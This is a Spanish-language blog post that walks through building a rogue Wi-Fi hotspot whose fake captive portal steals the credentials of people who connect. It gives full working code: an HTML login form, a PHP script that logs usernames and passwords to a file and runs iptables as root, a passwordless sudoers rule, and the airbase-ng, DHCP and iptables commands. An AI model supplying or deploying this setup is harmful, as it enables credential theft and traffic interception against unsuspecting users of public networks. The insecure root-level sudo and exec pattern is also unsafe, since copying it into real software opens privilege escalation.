miércoles, 17 de julio de 2013

Crear un Hotspot con dudosas intenciones

  Hace tiempo escribí un post en flu-project sobre la creación de puntos de acceso maliciosos, lo rescato para el blog ya que dentro de X tengo planteado escribir otro post sobre el tema ;).



  En dicha entrada se muestra como crear un hotspot con oscuros fines, es decir, se trata de simular, mediante software incluido en cualquier distribución de GNU/Linux, un punto de acceso protegido por contraseña. Estos puntos de acceso son utilizados por hoteles y cafeterías entre otros, de forma que solo los usuarios registrados tienen acceso a la red.

  El post está estructurado en tres partes, una técnica de introducción, donde se comenta el funcionamiento,  una práctica donde se configura el hotspot y una pequeña demostración, para ver como funciona.


[+] Parte técnica:

Información de apoyo:


  Este escenario visto desde el punto de vista de un atacante, alguien ajeno a la red e interesado en el acceso a ésta por motivos que no vienen al caso, sería interesante poder crear un punto de acceso que imitara al real permitiendo robar las credenciales de acceso del cliente a la red sin renunciar a ofrecerle una experiencia de navegación aceptable.

  Para realizar la tarea propuesta, los únicos requisitos son un servidor web Apache con php instalado, un servidor DHCP, la herramienta airbase-ng y las siempre geniales posibilidades que nos ofrece Iptables. Todas estas herramientas se encuentran en la distribución Backtrack 5 R3, así que no debería de haber problemas de instalación en ninguna de ellas.

  Antes de pasar a la parte práctica, es necesario entender como trabajaran todos los componentes comentados antes en conjunto:
  El servidor web Apache, es el encargado de almacenar las páginas, tanto la de login como el script en php asociado a ésta. Para que el "hotspot casero" funcione correctamente, es necesario que "todas" las peticiones al servidor sean redirigidas al puerto donde está ejecutándose el servidor web (uno distinto del 80), de esta tarea se encarga iptables.

  Entonces, según lo comentado, cualquier visita al portal cautivo llegará a la página de login. Una vez los datos han sido rellenados y enviados se ejecuta el script en php que añade una excepción al cortafuegos con la finalidad de no redirigir, desde ese momento las conexiones procedentes IP que se ha conectado, de forma que el usuario navegara con normalidad sin apreciar que está conectado  una red poco confiable, como antes, de esto se encarga una regla de Iptables.

  Respecto a la parte de la señal del hotspot, se utiliza como en otras ocasiones airbase-ng (utilidad perteneciente a la suite Aircrack-ng) para crear el punto de acceso. A esta herramienta le acompaña el servidor dhcp para que los usuarios tengan IP y unas reglas de iptables para permitir el acceso a la red.

  Teniendo claros estos conceptos, ya es posible pasar a la parte de implementación o parte práctica.


[+] Parte práctica:

  El primer paso es crear la página básica de login. Si se intentase suplantar la de un hotel o similar se copiaría su contenido y modificaría el formulario de acceso.

#fichero index.html
<html><head></head>
<body>
<form action="log.php" method="post">
Usuario:<input type="text" name="user" size="20" maxlength="20" />
<br />
Password:<input type="password" name="contra" size="10" maxlength="10" />
<br />
<input type="submit" value="Ingresar" />
</form>
</body>
</html>

El script log.php asociado:
#fichero log.php
<?php
        $f = fopen("datos", "a");
        $usuario = "usuario ->  " . $_POST["user"] . "\n";
        fputs($f, $usuario);
        $pass = "password ->  " . $_POST["contra"] . "\n\n-------------------------\n\n";
        fputs($f, $pass);
        fclose($f);
        $ip = $_SERVER['REMOTE_ADDR'];
        $comando = "sudo -u root iptables -t nat -I PREROUTING -s $ip -p tcp --dport 80 -j ACCEPT";
        exec($comando);
        header ("Location: https://www.google.com");
?>

   En el script tiene dos tareas. La primera es simplemente guarda los datos introducidos por el usuario en un fichero de texto en el directorio del servidor, mientras que la segunda es añadir la dirección IP del usuario al cortafuegos evitando así que sea redirigido y pueda navegar con normalidad.

  Antes de continuar hay que crear el archivo datos y asignarle permisos para que se guarden en él las credenciales de "los visitantes":
touch /var/www/datos
chmod 666 datos

  El siguiente paso es editar un par de parámetros del servidor Apache. El primero es cambiar el puerto al que escucha el servidor (80 por defecto), mientras que el segundo cambio es añadir el directorio por defecto donde el servidor buscará las páginas (DocumentRoot):

#fichero /etc/apache2/ports.conf
Listen 55555
DocumentRoot /var/www/

 Puesto que el servidor se ejecuta como usuario www-data y no puede ejecutar ordenes como root (por motivos de seguridad), le es imposible añadir reglas al cortafuegos. Para solucionar esto (hay más alternativas) de forma rápida (pero no la más segura) es posible añadir al fichero sudoers una regla para facilitar el trabajo. Para acceder a la configuración basta con escribir:
visudo
y añadir:
www-data bt=(root) NOPASSWD:/sbin/iptables

  Con esto configurado ya puede ejecutarse el comando para iniciar el servicio perteneciente a Apache:
/etc/init.d/apache2 start

  Con todos los cambios relativos al servidor Apache realizados se configura el servidor DHCP:

#fichero /etc/dhcp3/dhcpd.conf
authoritative;
ddns-update-style none;
default-lease-time 600;
max-lease-time 7200;
subnet 10.0.0.0 netmask 255.255.255.0{
        range 10.0.0.2 10.0.0.254;
        option routers 10.0.0.1;
        option domain-name-servers 8.8.8.8;
}

  Ya están todos los archivos correctamente editados, en los siguientes pasos solo resta aplicar determinadas reglas de iptables y lanzar el punto de acceso junto con el DHCP.

 La primera regla a introducir es la que permite redirigir toda petición al servidor (providente de la subred del punto de acceso) con destino el puerto 80 al puerto 55555:
iptables -t nat -A PREROUTING -s 10.0.0.0/24 -p tcp --dport 80 -j REDIRECT --to-ports 55555

  Respecto al punto de acceso, los comandos ya son de sobra conocidos. El primer paso es poner la tarjeta en modo monitor, para ello:
airmon-ng wlan1 start
  A continuación crear el punto de acceso de nombre "hotel":
airbase-ng -P -C 30 -c 6 -e hotel mon0

Activar la interfaz del AP y lanzar el servidor DHCP:
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0

 Habilitar IP forwarding:
echo 1 >/proc/sys/net/ipv4/ip_forward

  Y por último mediante iptables redirigir el tráfico de los clientes del AP al equipo para que tengan acceso a Internet.

iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
iptables -A INPUT -s 10.0.0.0/24 -i at0 -j ACCEPT
iptables -A OUTPUT -d 10.0.0.0/24 -o at0 -j ACCEPT

  Con todo este laborioso trabajo ya está listo el "hotspot casero" que permite que usuarios inocentes se conecten a un punto de acceso que ellos creen seguros, permitiendo ser víctimas del robo de credenciales, o con algunas pequeñas modificaciones, ataques como dns-spoofing y similares.

  Como se ha comentado, no es la configuración idónea, pero es un "apaño" que permite que funcione correctamente y ver el alcance de este tipo de ataques.


[+] Demostración:

  El hotspot funciona con iptables, concretamente con las tablas NAT y este es su estado inicial, una vez está configurado el portal:
iptables -t nat -L -n

  Se observa una entrada que redirige las peticiones pertenecientes al protocolo tcp del puerto 80 al 55555.

  Cuando un usuario intenta acceder a una de sus páginas se encuentra con la página de inicio del servidor:

  Cuando se registre un usuario se observa la aparición de una nueva entrada que elimina la redirección para la ip 10.0.0.103:


   Y también se observa el archivo "datos" con las credenciales almacenadas:



  En fin, si habéis tenido aguante para llegar hasta aquí, nos leemos en breve ;)


No hay comentarios:

Publicar un comentario en la entrada